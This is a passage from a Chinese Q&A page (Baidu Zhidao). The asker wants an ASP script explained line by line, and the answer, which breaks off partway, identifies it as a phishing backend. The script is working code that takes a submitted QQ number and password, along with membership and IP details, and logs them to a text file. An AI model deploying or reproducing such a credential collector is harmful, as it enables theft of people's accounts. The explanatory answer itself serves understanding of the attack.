求解ASP代码意思

来源:百度知道 编辑:UC知道 时间:2024/06/01 10:32:53
<%
strLogFile="qq.txt"

QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")

if QQNumber="" or QQPassWord="" then
response.write "QQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing

response.write "发送成功!"
%>

麻烦逐字逐句解释 谢谢

这是一个获得QQ信息的钓鱼网站~~里面需要你输入QQ号、密码等~~当你输入~~就会把你的信息写成txt文件
strLogFile="qq.txt"

QQNumber=request("QQNumber")
从页面QQ号输入框得到QQ号码,并赋予变量 QQNumber
QQPassWord=request("QQPassWord")
从页面QQ密码输入框得到QQ密码,并赋予变量 QQPassWord
QQclub=request("QQclub")
这个club不知道是什么来着~从后面代码看,应该是会员分析~和上面一样,也是写进变量
QQip=request("QQip") 同上面一样,给IP赋值 ,从后面代码看,这句完全是多余的,一个菜鸟写的东西

if QQNumber="" or QQPassWord="" then
如果QQ号或QQ密码框输入为空,那么
response.write "QQ"
页面输出QQ两个字
response.end
页面停止执行,就不继续执行下面的代码了。
End If 结束判断

StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
按下面格式将获得的信息写进变量StrLogText中。
QQ号---QQ密码---会员信息---登陆IP(自动获取)
StrLogText=StrLogText&")----"&date&" "&time
重新改写StrLogText,除上面的格式外~